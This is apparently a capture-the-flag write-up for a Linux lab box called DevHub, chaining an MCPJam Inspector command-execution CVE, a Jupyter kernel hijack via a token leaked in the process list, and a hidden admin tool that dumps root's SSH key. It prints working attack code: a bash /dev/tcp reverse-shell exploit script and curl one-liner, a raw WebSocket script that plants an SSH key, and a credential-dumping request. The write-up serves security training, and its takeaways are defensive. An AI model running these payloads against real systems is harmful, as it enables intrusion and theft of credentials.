Difficulty: Medium  |  OS: Linux

Introduction

DevHub runs a small stack of AI dev tooling: an MCP inspector, a JupyterLab instance and an internal operations MCP server. None of them is hard to exploit on its own. Each one simply trusts whoever can reach it, and chaining them gives root:

  1. CVE-2026-23744, an unauthenticated command execution bug in MCPJam Inspector (<= 1.4.2), gives a shell as mcp-dev.
  2. A JupyterLab token leaked in the process list lets me run code in a kernel owned by analyst, through a WebSocket I had to write by hand.
  3. A root-owned OPSMCP server with a hardcoded API key and a hidden admin tool hands over root’s SSH private key.

1. Reconnaissance

I started with a full TCP port scan, then ran default scripts and version detection on whatever was open:

1
2
3
4
5
6
7
8
9
┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- 10.129.11.229 -T4
Nmap scan report for devhub.htb (10.129.11.229)
Host is up (0.051s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
6274/tcp open unknown
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV -p22,80,6274 10.129.11.229
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: DevHub - Internal Development Platform
6274/tcp open unknown
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| access-control-allow-credentials: true
| ...
| <link rel="icon" type="image/svg+xml" href="/mcp_jam.svg" />
| <title>MCPJam Inspector</title>
  • Port 22 (SSH): OpenSSH 8.9p1
  • Port 80 (HTTP): nginx, titled DevHub - Internal Development Platform
  • Port 6274: nmap could not name the service, but the fingerprint gives it away: it serves a React app called MCPJam Inspector.

Port 6274 was the one to look at. A debugging tool reachable from outside on a non-standard port looks like something that was never meant to leave localhost.


2. Foothold — CVE-2026-23744 (MCPJam Inspector RCE)

What is CVE-2026-23744?

MCPJam Inspector is a debugging UI for Model Context Protocol (MCP) servers. To test a server you give it a command to launch, which is both the feature and the bug:

  • By default the Inspector listens on 0.0.0.0 instead of 127.0.0.1.
  • The /api/mcp/connect endpoint has no authentication.
  • The command and args fields of the JSON body start a real OS process, with no sanitisation.

So anyone who can reach port 6274 can ask the server to “connect to an MCP server” whose command is a reverse shell.

Exploit

I wrote a small script that base64-encodes the reverse shell, so there are no quoting problems inside the JSON:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import base64

url = "http://devhub.htb:6274/api/mcp/connect" # vulnerable endpoint
lhost = "10.10.14.69" # my machine
lport = "4444" # my listener

shell = f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
encoded = base64.b64encode(shell.encode()).decode()

payload = {
"serverConfig": {
"command": "/bin/bash",
"args": ["-c", f"echo {encoded} | base64 -d | bash"],
"env": {}
},
"serverId": "pwned"
}

try:
requests.post(url, json=payload, timeout=10)
print("[-] No response received")
except requests.exceptions.ReadTimeout:
print("[+] Payload sent! Check your nc listener")
except requests.exceptions.ConnectionError:
print("[+] Shell connected! Check your nc listener")

A timeout is the expected result here, because the request never returns once the process it spawned becomes my shell. A single curl does the same thing:

1
2
3
curl -s http://devhub.htb:6274/api/mcp/connect \
-H "Content-Type: application/json" \
-d '{"serverConfig":{"command":"/bin/bash","args":["-c","bash -i >& /dev/tcp/10.10.14.69/4444 0>&1"],"env":{}},"serverId":"test"}'

The listener caught a shell as mcp-dev.


3. Lateral Movement — Hijacking a Jupyter Kernel

Enumeration

As mcp-dev I went through the process list and read every argument:

1
2
3
4
mcp-dev@devhub:~$ ps aux | grep analyst
analyst 1077 ... /home/analyst/jupyter-env/bin/python3 /home/analyst/jupyter-env/bin/jupyter-lab --ip=127.0.0.1 --port=8888 --no-browser --notebook-dir=/home/analyst/notebooks --ServerApp.token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7 --ServerApp.password= ...
root 1083 ... /home/analyst/jupyter-env/bin/python3 /opt/opsmcp/server.py
analyst 2792 ... /home/analyst/jupyter-env/bin/python3 -m ipykernel_launcher -f .../kernel-ab53d930-f060-4b43-8aea-48ef65950fae.json

Three things stand out:

  • JupyterLab runs as analyst on 127.0.0.1:8888, and its auth token is right there in the command line. Any local user can read it from ps.
  • Several ipykernel_launcher processes are already running as analyst. Anything sent to one of those kernels executes as analyst.
  • A root-owned process, /opt/opsmcp/server.py. I kept that for later.

Why the REST API is not enough

Jupyter splits its API in two:

text
1
2
3
4
5
6
7
Client
│ HTTP REST → list kernels, sessions, files
│ WebSocket → actually EXECUTE code (/api/kernels/{id}/channels)
▼
Jupyter Server (analyst)
▼
ipykernel (analyst) ← this is what runs the Python

The token is enough for the REST API, but code only runs through the WebSocket on /api/kernels/{id}/channels. The box had no websocat, no wscat and no Python websocket-client, so I wrote the protocol myself.

WebSocket by hand

A WebSocket is an HTTP upgrade request followed by framed messages over a plain TCP socket, and Python’s standard socket module covers all of it:

  1. Handshake: send a GET to the kernel’s /channels URL with Upgrade: websocket and the token in Authorization. A 101 Switching Protocols answer means the socket now speaks WebSocket.
  2. Framing: client frames must be masked. Each payload byte is XORed with a random 4-byte key, and 0x81 marks a final text frame.
  3. Jupyter messaging: send an execute_request JSON message on the shell channel. The kernel runs the code and reports busy then idle on iopub.

For the payload I planted my SSH public key in analyst‘s authorized_keys, which gives a stable shell instead of another reverse shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import socket, base64, os, json, struct, uuid

TOKEN = "a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7"
HOST, PORT = "127.0.0.1", 8888
KERNEL_ID = "ab53d930-f060-4b43-8aea-48ef65950fae"
MY_PUBKEY = "ssh-ed25519 AAAA...<my public key>..."

# 1. Upgrade the TCP connection to a WebSocket
sock = socket.create_connection((HOST, PORT))
ws_key = base64.b64encode(os.urandom(16)).decode()
sock.sendall((
f"GET /api/kernels/{KERNEL_ID}/channels HTTP/1.1\r\n"
f"Host: {HOST}:{PORT}\r\n"
f"Upgrade: websocket\r\nConnection: Upgrade\r\n"
f"Sec-WebSocket-Key: {ws_key}\r\n"
f"Sec-WebSocket-Version: 13\r\n"
f"Authorization: token {TOKEN}\r\n\r\n"
).encode())

resp = b""
while b"\r\n\r\n" not in resp:
resp += sock.recv(4096)
print(f"[+] Handshake: {resp.splitlines()[0].decode()}")

# 2. Client frames must be masked
def ws_send(s, text):
data = text.encode()
mask = os.urandom(4)
masked = bytes(data[i] ^ mask[i % 4] for i in range(len(data)))
n = len(data)
hdr = bytes([0x81, 0x80 | n]) if n < 126 else bytes([0x81, 0xFE]) + struct.pack(">H", n)
s.sendall(hdr + mask + masked)

# 3. Code that will run inside the analyst kernel
CODE = f"""
import os
os.makedirs('/home/analyst/.ssh', exist_ok=True)
with open('/home/analyst/.ssh/authorized_keys', 'a') as f:
f.write('{MY_PUBKEY}\\n')
os.chmod('/home/analyst/.ssh', 0o700)
os.chmod('/home/analyst/.ssh/authorized_keys', 0o600)
print('id:', os.popen('id').read().strip())
"""

msg = json.dumps({
"header": {"msg_id": str(uuid.uuid4()), "username": "x",
"session": str(uuid.uuid4()), "date": "2024-01-01T00:00:00.000Z",
"msg_type": "execute_request", "version": "5.3"},
"parent_header": {}, "metadata": {},
"content": {"code": CODE, "silent": False, "store_history": False,
"user_expressions": {}, "allow_stdin": False, "stop_on_error": True},
"buffers": [], "channel": "shell"
})
ws_send(sock, msg)
print("[+] Payload sent...")

(The full script also reads the reply frames and prints the kernel’s output until it goes idle. I trimmed that part here.)

1
2
3
4
5
6
mcp-dev@devhub:~$ python3 /tmp/kernel_connect.py
[+] Handshake: HTTP/1.1 101 Switching Protocols
[+] Payload sent...
[status] busy
[out] id: uid=1001(analyst) ...
[status] idle

Then a normal key-based login:

1
2
3
┌──(kali㉿kali)-[~]
└─$ ssh analyst@10.129.11.229
analyst@devhub:~$

In practice, a Jupyter token is a login for whichever user owns the kernels. Nothing sits between the API and code execution except that token.


4. Privilege Escalation — OPSMCP Hidden Admin Tool

Back on the root-owned process from earlier. I could not start my own copy, since port 5000 was already taken:

1
2
3
analyst@devhub:~$ /home/analyst/jupyter-env/bin/python3 /opt/opsmcp/server.py
Address already in use
Port 5000 is in use by another program.

But the source was world-readable:

1
analyst@devhub:~$ cat /opt/opsmcp/server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# API Key for authentication
VALID_API_KEY = "opsmcp_secret_key_4f5a6b7c8d9e0f1a"

VISIBLE_TOOLS = {
"ops.system_status": ...,
"ops.list_services": ...,
"ops.check_disk": ...,
"ops.view_logs": ...,
}

# Hidden tools (not in /tools/list but callable)
HIDDEN_TOOLS = {
"ops._admin_dump": {
"description": "Emergency credential dump - INTERNAL ONLY",
"parameters": {"target": "string", "confirm": "boolean"}
},
"ops._debug_mode": {...}
}

ALL_TOOLS = {**VISIBLE_TOOLS, **HIDDEN_TOOLS}

Two mistakes in one file:

  1. The API key is hardcoded in a file any local user can read.
  2. The “hidden” tools are only hidden from /tools/list. /tools/call checks ALL_TOOLS, so anyone with the key can call them.

The ssh_keys target of ops._admin_dump reads /root/.ssh/id_rsa and returns it, and since the server runs as root, the read succeeds:

1
2
3
4
if target == "ssh_keys":
with open('/root/.ssh/id_rsa', 'r') as f:
key_data = f.read()
return jsonify({"target": "ssh_keys", "root_private_key": key_data, ...})

I called it with the key from the source:

1
2
3
4
5
analyst@devhub:~$ curl -s -X POST http://127.0.0.1:5000/tools/call \
-H "Content-Type: application/json" \
-H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a" \
-d '{"name": "ops._admin_dump", "arguments": {"target": "ssh_keys", "confirm": true}}'
{"note":"Emergency recovery key dump","root_private_key":"-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAA...\n-----END OPENSSH PRIVATE KEY-----\n","target":"ssh_keys"}

The key comes back as JSON with \n escapes. I unescaped it into a file, locked down the permissions and logged in as root:

1
2
3
4
5
┌──(kali㉿kali)-[~]
└─$ chmod 600 root_key
┌──(kali㉿kali)-[~]
└─$ ssh -i root_key root@10.129.11.229
root@devhub:~# id

The same tool also has passwords and tokens targets that dump more credentials in plain text, but I only needed the root key.


Attack Chain

text
1
2
3
4
5
6
7
8
9
10
11
nmap → MCPJam Inspector exposed on :6274
↓ CVE-2026-23744 (POST /api/mcp/connect)
shell as mcp-dev
↓ ps aux → Jupyter token in process arguments
raw WebSocket → execute_request in an idle analyst kernel
↓ write SSH key to authorized_keys
SSH as analyst
↓ read /opt/opsmcp/server.py (hardcoded key + hidden tool)
ops._admin_dump → root's SSH private key
↓
SSH as root

Summary

Stage Technique CVE
Foothold Unauthenticated command execution in MCPJam Inspector /api/mcp/connect → reverse shell as mcp-dev CVE-2026-23744
Lateral Movement Jupyter token leaked in ps aux → hand-built WebSocket → code execution in analyst‘s kernel → SSH key drop —
Privilege Escalation Hardcoded API key + hidden ops._admin_dump tool in a root-owned service → root SSH key —

Key Takeaways

  • Dev tools are attack surface. MCPJam Inspector is meant to run on localhost. Listening on 0.0.0.0 with no authentication turned a debugging feature into remote code execution.
  • Keep secrets out of command-line arguments. The Jupyter token sat in ps aux for every local user to read. A config file with tight permissions avoids that.
  • 127.0.0.1 is not a security boundary. Once any foothold exists, every internal port is reachable. Run ss -tlnp and read the process list on every box.
  • Understand the protocol, not only the tool. With no WebSocket client available, a plain TCP socket plus the handshake and framing rules was enough.
  • Check who owns each process. Jupyter, its kernels and OPSMCP all ran as a different user than my shell, and that is what made each one useful.
  • A hidden endpoint is still an endpoint. An admin function left out of the tool listing but still callable is just undocumented. Authorization has to be enforced on the call itself, and a root-owned service should not return /root/.ssh/id_rsa to an API client.
  • Don’t hardcode credentials in source files other users can read. Grep for password, secret, token and key as soon as you can read any application code.

Have a nice day, and see you in the next writeup!
Any feedback in the comments section is very appreciated. 🙏